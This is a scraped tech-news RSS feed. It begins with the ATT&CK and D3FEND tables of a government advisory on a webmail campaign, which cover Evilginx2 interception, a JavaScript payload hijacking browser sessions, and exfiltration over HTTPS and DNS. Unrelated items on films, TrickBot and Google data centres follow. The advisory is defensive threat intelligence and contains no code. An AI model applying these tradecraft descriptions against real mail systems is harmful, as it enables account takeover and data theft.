<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dutton Ranch season 2 has all-but confirmed a release window after Ed Harris revealed filming complaints — and there's a huge change to the Yellowstone spinoff that nobody is talking about]]></title>
<description><![CDATA[By now, most Dutton Ranch fans will have seen Variety's explosive interview with star Ed Harris — but we've not properly addressed what this means for season 2.]]></description>
<link>https://tsecurity.de/de/3689206/it-nachrichten/dutton-ranch-season-2-has-all-but-confirmed-a-release-window-after-ed-harris-revealed-filming-complaints-and-theres-a-huge-change-to-the-yellowstone-spinoff-that-nobody-is-talking-about/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689206/it-nachrichten/dutton-ranch-season-2-has-all-but-confirmed-a-release-window-after-ed-harris-revealed-filming-complaints-and-theres-a-huge-change-to-the-yellowstone-spinoff-that-nobody-is-talking-about/</guid>
<pubDate>Thu, 23 Jul 2026 15:34:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[By now, most Dutton Ranch fans will have seen Variety's explosive interview with star Ed Harris — but we've not properly addressed what this means for season 2.]]></content:encoded>
</item>
<item>
<title><![CDATA[The sci-fi movie that imagines AI isn’t so dystopian after all]]></title>
<description><![CDATA[Imagine you are the parent of an inquisitive seven-year-old who loves his family, playing baseball, and hanging out with his friends. It's the life you've always wanted. And then the worst thing that ever could happen happens: A freak accident takes your son away. But as it turns out, you don't h...]]></description>
<link>https://tsecurity.de/de/3689172/it-nachrichten/the-sci-fi-movie-that-imagines-ai-isnt-so-dystopian-after-all/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689172/it-nachrichten/the-sci-fi-movie-that-imagines-ai-isnt-so-dystopian-after-all/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Imagine you are the parent of an inquisitive seven-year-old who loves his family, playing baseball, and hanging out with his friends. It's the life you've always wanted. And then the worst thing that ever could happen happens: A freak accident takes your son away. But as it turns out, you don't have to live with […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Spider-Man: Brand New Day Could Beat No Way Home’s Opening Record]]></title>
<description><![CDATA[Spider-Man: Brand New Day is heading toward a huge domestic box office opening, with rising ticket sales giving it a chance to challenge Spider-Man: No Way Home’s franchise record.



Box office projections continue to rise



Recent social media reports claim that the Tom Holland film is trackin...]]></description>
<link>https://tsecurity.de/de/3689154/ios-mac-os/spider-man-brand-new-day-could-beat-no-way-homes-opening-record/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689154/ios-mac-os/spider-man-brand-new-day-could-beat-no-way-homes-opening-record/</guid>
<pubDate>Thu, 23 Jul 2026 15:17:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Spider-Man: Brand New Day is heading toward a huge domestic box office opening, with rising ticket sales giving it a chance to challenge Spider-Man: No Way Home’s franchise record.



Box office projections continue to rise



Recent social media reports claim that the Tom Holland film is tracking for a domestic opening of between $260 million and $300 million. However, established box office tracking currently places the expected opening closer to $230 million to $250 million.



These estimates can change rapidly during the final week before release. Strong advance ticket sales, premium screen bookings and positive audience reactions can push the final opening above early forecasts.



The movie has also reportedly recorded one of the strongest advance ticket launches of the post-pandemic period. Interest increased further during the latest weekend, suggesting that demand remains high as the release date approaches.



MovieDomestic openingRelease yearSpider-Man: No Way Home$260.1 million2021Spider-Man: Brand New Day$230 million to $250 million projected2026Possible higher estimate$260 million to $300 million2026



Spider-Man: No Way Home opened with $260.1 million in North America, giving it the biggest domestic debut in Spider-Man franchise history. It later earned about $1.92 billion worldwide.



Could Brand New Day break the record?



Brand New Day needs to earn more than $260.1 million during its first domestic weekend to take the record from No Way Home.



The film arrives in US cinemas on July 31, 2026, while its Indian release begins on July 30. Tom Holland returns as Peter Parker, with Zendaya, Sadie Sink, Jon Bernthal and Mark Ruffalo also appearing in the cast.



Current tracking makes Brand New Day one of the biggest releases of 2026. Its final result will depend on reviews, walk-up ticket sales and audience demand during opening weekend.]]></content:encoded>
</item>
<item>
<title><![CDATA[TrickBot Turns Ordinary DNS Traffic Into a Hidden Channel for Malware Commands]]></title>
<description><![CDATA[TrickBot has quietly evolved into a more covert threat by turning everyday DNS traffic into a stealth channel for malware commands, making its activity harder to spot on busy enterprise networks. In a recent campaign, a new variant was seen…
Read more →
The post TrickBot Turns Ordinary DNS Traffi...]]></description>
<link>https://tsecurity.de/de/3689134/it-security-nachrichten/trickbot-turns-ordinary-dns-traffic-into-a-hidden-channel-for-malware-commands/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689134/it-security-nachrichten/trickbot-turns-ordinary-dns-traffic-into-a-hidden-channel-for-malware-commands/</guid>
<pubDate>Thu, 23 Jul 2026 15:14:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>TrickBot has quietly evolved into a more covert threat by turning everyday DNS traffic into a stealth channel for malware commands, making its activity harder to spot on busy enterprise networks. In a recent campaign, a new variant was seen…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/trickbot-turns-ordinary-dns-traffic-into-a-hidden-channel-for-malware-commands/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/trickbot-turns-ordinary-dns-traffic-into-a-hidden-channel-for-malware-commands/">TrickBot Turns Ordinary DNS Traffic Into a Hidden Channel for Malware Commands</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



